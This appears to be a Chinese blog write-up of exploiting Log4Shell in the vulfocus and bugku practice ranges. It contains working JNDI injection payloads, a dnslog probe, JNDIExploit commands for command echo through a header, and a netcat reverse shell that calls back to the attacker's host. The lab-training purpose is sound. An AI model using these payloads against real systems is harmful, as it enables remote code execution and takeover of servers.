现在公开的靶场有vulfocus、bugku
http://vulfocus.fofa.so/#/dashboard
https://ctf.bugku.com/challenges/detail/id/340.html
关于该漏洞原理有很多大佬写了, 久不做赘述。简单来说
日志打印时遇到了${, 如果里面包含内容会当成变量来替换被执行
${Jndi Lookup方法:key://
Interpolator 类按照 : 分割出第一部分作为 prefix, 第二部分作为 key
通过 prefix 去找对应的 lookup,再通过对应的 lookup 实例调用 lookup 方法传入 key 作为参数此次漏洞存在 JndiLookup 实例。JndiLookup 则是直接把传进来的 key 当做 JNDI URL 用 InitialContext.lookup 去访问,从而造成了 JNDI 代码执行漏洞
在该核弹payload被公开的第二天, 在微信转发payload时微信直接把${}给拦截掉了, 开始还以为我没有copy全, 在第二次尝试时候才反应过来, 直到第三天才恢复
工具使用的是https://github.com/welk1n/JNDI-Injection-Exploit
先使用log4shell了解一下环境启动
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
curl一下
可以看见可以将字符串嵌入到服务器记录的请求字段中
尝试写入
在docker中查看发现可以被写入
工具的使用JNDIExploit是 一款用于 JNDI注入 利用的工具
利用该工具开启能够执行恶意命令的 ldap 服务器
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 本地IP -p httpPort
官网与本地搭建的环境不同, 官网的header缺少Content-Type: application/x-www-form-urlencoded
描述中有提示, 抓包显示的头部缺少Content-Type: application/x-www-form-urlencoded
使用payload验证, 发现可以触发dnslog, 可以确认可以利用
payload=${jndi:ldap://xxx.dnslog.cn/}
开启工具, 工具开启在外网能被靶机访问到
构造payload
/TomcatBypass/TomcatEcho命令执行结果回显
在header头部加入cmd: 命令
执行回显
使用ReverseShell 该模块用于 Linux 系统的反弹shell
也可以使用/TomcatBypass/Command/base64/模块, 发现构造中代码缺少, 再进行url编码两次
发现识别成功, payload成功构建
一样是构造payload发现可以触发
但是在题目上有提示, 反弹shell的构造方式不一样
发现不能直接连接, 那就按照他的写法吧, 因为没有说环境什么的久使用默认的吧
nc一直在报错, 明明payload和nc格式都没问题, 然后发现是nc少了一个命令少了一个
应该是nc -lnvvp
payload: nc 连接IP 12312 -e /bin/sh
比如获取java版本等等
而且ldap注入工具对jdk高于8u191不能用basic
阿… 不能这样子用
当然不光这里可以, 还有其他的地方可以写入payload
比如
robots.txt email username password header file ssl certificates .........
关注公众号



